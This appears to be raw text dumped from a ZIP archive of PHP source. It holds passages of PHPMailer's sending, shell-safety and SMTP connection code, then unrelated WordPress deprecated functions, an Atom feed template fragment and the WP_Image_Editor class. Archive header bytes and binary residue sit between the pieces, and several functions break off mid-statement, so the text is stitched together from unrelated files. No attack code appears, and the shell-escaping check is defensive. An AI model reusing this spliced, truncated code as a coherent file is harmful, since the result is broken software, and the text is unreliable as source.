$address_kind, $this->{$address_kind} ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } } //Set whether the message is multipart/alternative if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); //Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception(self::lang('empty_message'), self::STOP_CRITICAL); } //Trim subject consistently $this->Subject = trim($this->Subject); //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); //createBody may have added some headers, so retain them $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; //To capture the complete message when using mail(), create //an extra header list which createHeader() doesn't fold in if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader($this->Subject)) ); } //Sign with DKIM if enabled if ( !empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private) ) ) ) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; } return true; } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Actually send a message via the selected mechanism. * * @throws Exception * * @return bool */ public function postSend() { try { //Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . 'Send'; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) { $this->smtp->reset(); } if ($this->exceptions) { throw $exc; } } return false; } /** * Send mail using the $Sendmail program. * * @see PHPMailer::$Sendmail * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function sendmailSend($header, $body) { if ($this->Mailer === 'qmail') { $this->edebug('Sending with qmail'); } else { $this->edebug('Sending with sendmail'); } $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html //Example problem: https://www.drupal.org/node/1057954 //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { if ($this->Mailer === 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } elseif ($this->Mailer === 'qmail') { $sendmailFmt = '%s'; } else { //Allow sendmail to choose a default envelope sender. It may //seem preferable to force it to use the From header as with //SMTP, but that introduces new problems (see //), and //it has historically worked this way. $sendmailFmt = '%s -oi -t'; } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); $this->edebug('Sendmail path: ' . $this->Sendmail); $this->edebug('Sendmail command: ' . $sendmail); $this->edebug('Envelope sender: ' . $this->Sender); $this->edebug("Headers: {$header}"); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } $this->edebug("To: {$toAddr}"); fwrite($mail, 'To: ' . $toAddr . "\n"); fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $addrinfo = static::parseAddresses($toAddr, null, $this->CharSet); foreach ($addrinfo as $addr) { $this->doCallback( ($result === 0), [[$addr['address'], $addr['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $this->doCallback( ($result === 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } /** * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. * * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report * * @param string $string The string to be validated * * @return bool */ protected static function isShellSafe($string) { //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg, //but some hosting providers disable it, creating a security problem that we don't want to have to deal with, //so we don't. if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) { return false; } if ( escapeshellcmd($string) !== $string || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""]) ) { return false; } $length = strlen($string); for ($i = 0; $i < $length; ++$i) { $c = $string[$i]; //All other characters have a special meaning in at least one common shell, including = and +. //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. //Note that this does permit non-Latin alphanumeric characters based on the current locale. if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } /** * Check whether a file path is of a permitted type. * Used to reject URLs and phar files from functions that access local file paths, * such as addAttachment. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function isPermittedPath($path) { //Matches scheme definition from https://www.rfc-editor.org/rfc/rfc3986#section-3.1 return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path); } /** * Check whether a file path is safe, accessible, and readable. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function fileIsAccessible($path) { if (!static::isPermittedPath($path)) { return false; } $readable = is_file($path); //If not a UNC path (expected to start with \\), check read permission, see #2069 if (strpos($path, '\\\\') !== 0) { $readable = $readable && is_readable($path); } return $readable; } /** * Send mail using the PHP mail() function. * * @see https://www.php.net/manual/en/book.mail.php * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function mailSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $toArr = []; foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = trim(implode(', ', $toArr)); //If there are no To-addresses (e.g. when sending only to BCC-addresses) //the following should be added to get a correct DKIM-signature. //Compare with $this->preSend() if ($to === '') { $to = 'undisclosed-recipients:;'; } $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html //Example problem: https://www.drupal.org/node/1057954 //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $addrinfo = static::parseAddresses($toAddr, null, $this->CharSet); foreach ($addrinfo as $addr) { $this->doCallback( $result, [[$addr['address'], $addr['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new Exception(self::lang('instantiate'), self::STOP_CRITICAL); } return true; } /** * Get an instance to use for SMTP operations. * Override this function to load your own SMTP implementation, * or set one with setSMTPInstance. * * @return SMTP */ public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } /** * Provide an instance to use for SMTP operations. * * @return SMTP */ public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } /** * Provide SMTP XCLIENT attributes * * @param string $name Attribute name * @param ?string $value Attribute value * * @return bool */ public function setSMTPXclientAttribute($name, $value) { if (!in_array($name, SMTP::$xclient_allowed_attributes)) { return false; } if (isset($this->SMTPXClient[$name]) && $value === null) { unset($this->SMTPXClient[$name]); } elseif ($value !== null) { $this->SMTPXClient[$name] = $value; } return true; } /** * Get SMTP XCLIENT attributes * * @return array */ public function getSMTPXclientAttributes() { return $this->SMTPXClient; } /** * Send mail via SMTP. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. * * @see PHPMailer::setSMTPInstance() to use a different class. * * @uses \PHPMailer\PHPMailer\SMTP * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function smtpSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $bad_rcpt = []; if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception(self::lang('smtp_connect_failed'), self::STOP_CRITICAL); } //If we have recipient addresses that need Unicode support, //but the server doesn't support it, stop here if ($this->UseSMTPUTF8 && !$this->smtp->getServerExt('SMTPUTF8')) { throw new Exception(self::lang('no_smtputf8'), self::STOP_CRITICAL); } //Sender already validated in preSend() if ('' === $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (count($this->SMTPXClient)) { $this->smtp->xclient($this->SMTPXClient); } if (!$this->smtp->mail($smtp_from)) { $this->setError(self::lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $callbacks = []; //Attempt to send to all recipients foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0], $this->dsn)) { $error = $this->smtp->getError(); $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; $isSent = false; } else { $isSent = true; } $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]]; } } //Only send the DATA command if we have viable recipients if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) { throw new Exception(self::lang('data_not_accepted'), self::STOP_CRITICAL); } $smtp_transaction_id = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($callbacks as $cb) { $this->doCallback( $cb['issent'], [[$cb['to'], $cb['name']]], [], [], $this->Subject, $body, $this->From, ['smtp_transaction_id' => $smtp_transaction_id] ); } //Create error message for any bad addresses if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new Exception(self::lang('recipients_failed') . $errstr, self::STOP_CONTINUE); } return true; } /** * Initiate a connection to an SMTP server. * Returns false if the operation failed. * * @param array $options An array of options compatible with stream_context_create() * * @throws Exception * * @uses \PHPMailer\PHPMailer\SMTP * * @return bool */ public function smtpConnect($options = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } //If no options are provided, use whatever is set in the instance if (null === $options) { $options = $this->SMTPOptions; } //Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $this->smtp->setSMTPUTF8($this->UseSMTPUTF8); if ($this->Host === null) { $this->Host = 'localhost'; } $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = []; if ( !preg_match( '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/', trim($hostentry), $hostinfo ) ) { $this->edebug(self::lang('invalid_hostentry') . ' ' . trim($hostentry)); //Not a valid host entry continue; } //$hostinfo[1]: optional ssl or tls prefix //$hostinfo[2]: the hostname //$hostinfo[3]: optional port number //The host string prefix can temporarily override the current setting for SMTPSecure //If it's not specified, the default value is used //Check the host name is a valid name or IP address before trying to use it if (!static::isValidHost($hostinfo[2])) { $this->edebug(self::lang('invalid_host') . ' ' . $hostinfo[2]); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure); if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; //Can't have SSL and TLS at the same time $secure = static::ENCRYPTION_SMTPS; } elseif ('tls' === $hostinfo[1]) { $tls = true; //TLS doesn't use a prefix $secure = static::ENCRYPTION_STARTTLS; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) { //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new Exception(self::lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[2]; $port = $this->Port; if ( array_key_exists(3, $hostinfo) && is_numeric($hostinfo[3]) && $hostinfo[3] > 0 && $hostinfo[3] < 65536 ) { $port = (int) $hostinfo[3]; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: //* it's not disabled //* we are not connecting to localhost //* we have openssl extension //* we are not already using SSL //* the server offers STARTTLS if ( $this->SMTPAutoTLS && $this->Host !== 'localhost' && $sslext && $secure !== 'ssl' && $this->smtp->getServerExt('STARTTLS') ) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } //We must resend EHLO after TLS negotiation $this->smtp->hello($hello); } if ( $this->SMTPAuth && !$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->oauth ) ) { throw new Exception(self::lang('authenticate')); } return true; } catch (Exception $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); //We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } //If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); //As we've caught all exceptions, just report whatever the last one was if ($this->exceptions && null !== $lastexception) { throw $lastexception; } if ($this->exceptions) { // no exception was thrown, likely $this->smtp->connect() failed $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } return false; } /** * Close the active SMTP session if one exists. */ public function smtpClose() { if ((null !== $this->smtp) && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } /** * Set the language for error messages. * The default language is English. * * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") * Optionally, the language code can be enhanced with a 4-character * script annotation and/or a 2-character country annotation. * @param string $lang_path Path to the language file directory, with trailing separator (slash) * Do not set this from user input! * * @return bool Returns true if the requested language was loaded, false otherwise. */ public static function setLanguage($langcode = 'en', $lang_path = '') { //Backwards compatibility for renamed language codes $renamed_langcodes = [ 'br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy', ]; if (array_key_exists($langcode, $renamed_langcodes)) { $langcode = $renamed_langcodes[$langcode]; } //Define full set of translatable strings in English $PHPMAILER_LANG = [ 'authenticate' => 'SMTP Error: Could not authenticate.', 'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'extension_missing' => 'Extension missing: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_header' => 'Invalid header name or value', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_code' => 'SMTP code: ', 'smtp_code_ex' => 'Additional SMTP info: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_detail' => 'Detail: ', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'no_smtputf8' => 'Server does not support SMTPUTF8 needed to send to Unicode addresses', 'imap_recommended' => 'Using simplified address parser is not recommended. ' . 'Install the PHP IMAP extension for full RFC822 parsing.', 'deprecated_argument' => 'Argument $useimap is deprecated', ]; if (empty($lang_path)) { //Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } //Validate $langcode $foundlang = true; $langcode = strtolower($langcode); if ( !preg_match('/^(?P[a-z]{2})(?P get_custom_css(); if ( $can_use_cached ) { wp_cache_set( $cache_key, $stylesheet, $cache_group ); } return $stylesheet; } /** * Enqueues the global styles custom css defined via theme.json. * * @since 6.2.0 * @deprecated 6.7.0 Use {@see 'wp_enqueue_global_styles'} instead. */ function wp_enqueue_global_styles_custom_css() { _deprecated_function( __FUNCTION__, '6.7.0', 'wp_enqueue_global_styles' ); if ( ! wp_is_block_theme() ) { return; } // Don't enqueue Customizer's custom CSS separately. remove_action( 'wp_head', 'wp_custom_css_cb', 101 ); $custom_css = wp_get_custom_css(); $custom_css .= wp_get_global_styles_custom_css(); if ( ! empty( $custom_css ) ) { wp_add_inline_style( 'global-styles', $custom_css ); } } /** * Generate block style variation instance name. * * @since 6.6.0 * @deprecated 6.7.0 Use `wp_unique_id( $variation . '--' )` instead. * * @access private * * @param array $block Block object. * @param string $variation Slug for the block style variation. * * @return string The unique variation name. */ function wp_create_block_style_variation_instance_name( $block, $variation ) { _deprecated_function( __FUNCTION__, '6.7.0', 'wp_unique_id' ); return $variation . '--' . md5( serialize( $block ) ); } /** * Returns whether the current user has the specified capability for a given site. * * @since 3.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.8.0 Wraps current_user_can() after switching to blog. * @deprecated 6.7.0 Use current_user_can_for_site() instead. * * @param int $blog_id Site ID. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function current_user_can_for_blog( $blog_id, $capability, ...$args ) { return current_user_can_for_site( $blog_id, $capability, ...$args ); } /** * Loads classic theme styles on classic themes in the editor. * * This is used for backwards compatibility for Button and File blocks specifically. * * @since 6.1.0 * @since 6.2.0 Added File block styles. * @deprecated 6.8.0 Styles are enqueued, not printed in the body element. * * @param array $editor_settings The array of editor settings. * @return array A filtered array of editor settings. */ function wp_add_editor_classic_theme_styles( $editor_settings ) { _deprecated_function( __FUNCTION__, '6.8.0', 'wp_enqueue_classic_theme_styles' ); if ( wp_theme_has_theme_json() ) { return $editor_settings; } $suffix = wp_scripts_get_suffix(); $classic_theme_styles = ABSPATH . WPINC . "/css/classic-themes$suffix.css"; /* * This follows the pattern of get_block_editor_theme_styles, * but we can't use get_block_editor_theme_styles directly as it * only handles external files or theme files. */ $classic_theme_styles_settings = array( 'css' => file_get_contents( $classic_theme_styles ), '__unstableType' => 'core', 'isGlobalStyles' => false, ); // Add these settings to the start of the array so that themes can override them. array_unshift( $editor_settings['styles'], $classic_theme_styles_settings ); return $editor_settings; } /** * Prints a CSS rule to fix potential visual issues with images using `sizes=auto`. * * This rule overrides the similar rule in the default user agent stylesheet, to avoid images that use e.g. * `width: auto` or `width: fit-content` to appear smaller. * * @since 6.7.1 * @deprecated 6.9.0 Use wp_enqueue_img_auto_sizes_contain_css_fix() instead. * @see wp_enqueue_img_auto_sizes_contain_css_fix() * * @see https://html.spec.whatwg.org/multipage/rendering.html#img-contain-size * @see https://core.trac.wordpress.org/ticket/62413 * @see https://core.trac.wordpress.org/ticket/62731 */ function wp_print_auto_sizes_contain_css_fix() { _deprecated_function( __FUNCTION__, '6.9.0', 'wp_enqueue_img_auto_sizes_contain_css_fix' ); /** This filter is documented in wp-includes/media.php */ $add_auto_sizes = apply_filters( 'wp_img_tag_add_auto_sizes', true ); if ( ! $add_auto_sizes ) { return; } ?> '; /** This action is documented in wp-includes/feed-rss2.php */ do_action( 'rss_tag_pre', 'atom' ); ?> > <?php wp_title_rss(); ?> <![CDATA[<?php the_title_rss(); ?>]]> ]]> ]]> PK!ô€DDclass-wp-image-editor.phpnuȯÝífile = $file; } /** * Checks to see if current environment supports the editor chosen. * Must be overridden in a subclass. * * @since 3.5.0 * * @abstract * * @param array $args * @return bool */ public static function test( $args = array() ) { return false; } /** * Checks to see if editor supports the mime-type specified. * Must be overridden in a subclass. * * @since 3.5.0 * * @abstract * * @param string $mime_type * @return bool */ public static function supports_mime_type( $mime_type ) { return false; } /** * Loads image from $this->file into editor. * * @since 3.5.0 * * @return true|WP_Error True if loaded; WP_Error on failure. */ abstract public function load(); /** * Saves current image to file. * * @since 3.5.0 * @since 6.0.0 The `$filesize` value was added to the returned array. * * @param string $destfilename Optional. Destination filename. Default null. * @param string $mime_type Optional. The mime-type. Default null. * @return array|WP_Error { * Array on success or WP_Error if the file failed to save. * * @type string $path Path to the image file. * @type string $file Name of the image file. * @type int $width Image width. * @type int $height Image height. * @type string $mime-type The mime type of the image. * @type int $filesize File size of the image. * } */ abstract public function save( $destfilename = null, $mime_type = null ); /** * Resizes current image. * * At minimum, either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the provided dimension. * * @since 3.5.0 * * @param int|null $max_w Image width. * @param int|null $max_h Image height. * @param bool|array $crop { * Optional. Image cropping behavior. If false, the image will be scaled (default). * If true, image will be cropped to the specified dimensions using center positions. * If an array, the image will be cropped using the array to specify the crop location: * * @type string $0 The x crop position. Accepts 'left', 'center', or 'right'. * @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'. * } * @return true|WP_Error */ abstract public function resize( $max_w, $max_h, $crop = false ); /** * Resize multiple images from a single source. * * @since 3.5.0 * * @param array $sizes { * An array of image size arrays. Default sizes are 'small', 'medium', 'large'. * * @type array ...$0 { * @type int $width Image width. * @type int $height Image height. * @type bool|array $crop Optional. Whether to crop the image. Default false. * } * } * @return array An array of resized images metadata by size. */ abstract public function multi_resize( $sizes ); /** * Crops Image. * * @since 3.5.0 * * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param bool $src_abs Optional. If the source crop points are absolute. * @return true|WP_Error */ abstract public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ); /** * Rotates current image counter-clockwise by $angle. * * @since 3.5.0 * * @param float $angle * @return true|WP_Error */ abstract public function rotate( $angle ); /** * Flips current image. * * @since 3.5.0 * * @param bool $horz Flip along Horizontal Axis * @param bool $vert Flip along Vertical Axis * @return true|WP_Error */ abstract public function flip( $horz, $vert ); /** * Streams current image to browser. * * @since 3.5.0 * * @param string $mime_type The mime type of the image. * @return true|WP_Error True on success, WP_Error object on failure. */ abstract public function stream( $mime_type = null ); /** * Gets dimensions of image. * * @since 3.5.0 * * @return int[] { * Dimensions of the image. * * @type int $width The image width. * @type int $height The image height. * } */ public function get_size() { return $this->size; } /** * Sets current image size. * * @since 3.5.0 * * @param int $width * @param int $height * @return true */ protected function update_size( $width = null, $height = null ) { $this->size = array( 'width' => (int) $width, 'height' => (int) $height, ); return true; } /** * Gets the Image Compression quality on a 1-100% scale. * * @since 4.0.0 * * @return int Compression Quality. Range: [1,100] */ public function get_quality() { if ( ! $this->quality ) { $this->set_quality(); } return $this->quality; } /** * Sets Image Compression quality on a 1-100% scale. * * @since 3.5.0 * @since 6.8.0 The `$dims` parameter was added. * * @param int $quality Compression Quality. Range: [1,100] * @param array $dims Optional. Image dimensions array with 'width' and 'height' keys. * @return true|WP_Error True if set successfully; WP_Error on failure. */ public function set_quality( $quality = null, $dims = array() ) { // Use the output mime type if present. If not, fall back to the input/initial mime type. $mime_type = ! empty( $this->output_mime_type ) ? $this->output_mime_type : $this->mime_type; // Get the default quality setting for the mime type. $default_quality = $this->get_default_quality( $mime_type ); if ( null === $quality ) { /** * Filters the default image compression quality setting. * * Applies only during initial editor instantiation, or when set_quality() is run * manually without the `$quality` argument. * * The WP_Image_Editor::set_quality() method has priority over the filter. * * @since 3.5.0 * @since 6.8.0 Added the size parameter. * * @param int $quality Quality level between 1 (low) and 100 (high). * @param string $mime_type Image mime type. * @param array $size { * Dimensions of the image. * * @type int $width The image width. * @type int $height The image height. * } */ $quality = apply_filters( 'wp_editor_set_quality', $default_quality, $mime_type, $dims ? $dims : $this->size ); if ( 'image/jpeg' === $mime_type ) { /** * Filters the JPEG compression quality for backward-compatibility. * * Applies only during initial editor instantiation, or when set_quality() is run * manually without the `$quality` argument. * * The WP_Image_Editor::set_quality() method has priority over the filter. * * The filter is evaluated under two contexts: 'image_resize', and 'edit_image', * (when a JPEG image is saved to file). * * @since 2.5.0 * * @param int $quality Quality level between 0 (low) and 100 (high) of the JPEG. * @param string $context Context of the filter. */ $quality = apply_filters( 'jpeg_quality', $quality, 'image_resize' ); } if ( $quality < 0 || $quality > 100 ) { $quality = $default_quality; } } // Allow 0, but squash to 1 due to identical images in GD, and for backward compatibility. if ( 0 === $quality ) { $quality = 1; } if ( ( $quality >= 1 ) && ( $quality <= 100 ) ) { $this->quality = $quality; return true; } else { return new WP_Error( 'invalid_image_quality', __( 'Attempted to set image quality outside of the range [1,100].' ) ); } } /** * Returns the default compression quality setting for the mime type. * * @since 5.8.1 * * @param string $mime_type * @return int The default quality setting for the mime type. */ protected function get_default_quality( $mime_type ) { switch ( $mime_type ) { case 'image/webp': $quality = 86; break; case 'image/jpeg': default: $quality = $this->default_quality; } return $quality; } /** * Returns preferred mime-type and extension based on provided * file's extension and mime, or current file's extension and mime. * * Will default to $this->default_mime_type if requested is not supported. * * Provides corrected filename only if filename is provided. * * @since 3.5.0 * * @param string $filename * @param string $mime_type * @return array { filename|null, extension, mime-type } */ protected function get_output_format( $filename = null, $mime_type = null ) { $new_ext = null; // By default, assume specified type takes priority. if ( $mime_type ) { $new_ext = $this->get_extension( $mime_type ); } if ( $filename ) { $file_ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) ); $file_mime = $this->get_mime_type( $file_ext ); } else { // If no file specified, grab editor's current extension and mime-type. $file_ext = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) ); $file_mime = $this->mime_type; } /* * Check to see if specified mime-type is the same as type implied by * file extension. If so, prefer extension from file. */ if ( ! $mime_type || ( $file_mime === $mime_type ) ) { $mime_type = $file_mime; $new_ext = $file_ext; } $output_format = wp_get_image_editor_output_format( $filename, $mime_type ); if ( isset( $output_format[ $mime_type ] ) && $this->supports_mime_type( $output_format[ $mime_type ] ) ) { $mime_type = $output_format[ $mime_type ]; $new_ext = $this->get_extension( $mime_type ); } /* * Double-check that the mime-type selected is supported by the editor. * If not, choose a default instead. */ if ( ! $this->supports_mime_type( $mime_type ) ) { /** * Filters default mime type prior to getting the file extension. * * @see wp_get_mime_types() * * @since 3.5.0 * * @param string $mime_type Mime type string. */ $mime_type = apply_filters( 'image_editor_default_mime_type', $this->default_mime_type ); $new_ext = $this->get_extension( $mime_type ); } /* * Ensure both $filename and $new_ext are not empty. * $this->get_extension() returns false on error which would effectively remove the extension * from $filename. That shouldn't happen, files without extensions are not supported. */ if ( $filename && $new_ext ) { $dir = pathinfo( $filename, PATHINFO_DIRNAME ); $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $filename = trailingslashit( $dir ) . wp_basename( $filename, ".$ext" ) . ".{$new_ext}"; } if ( $mime_type && ( $mime_type !== $this->mime_type ) ) { // The image will be converted when saving. Set the quality for the new mime-type if not already set. if ( $mime_type !== $this->output_mime_type ) { $this->output_mime_type = $mime_type; } $this->set_quality(); } elseif ( ! empty( $this->output_mime_type ) ) { // Reset output_mime_type and quality. $this->output_mime_type = null; $this->set_quality(); } return array( 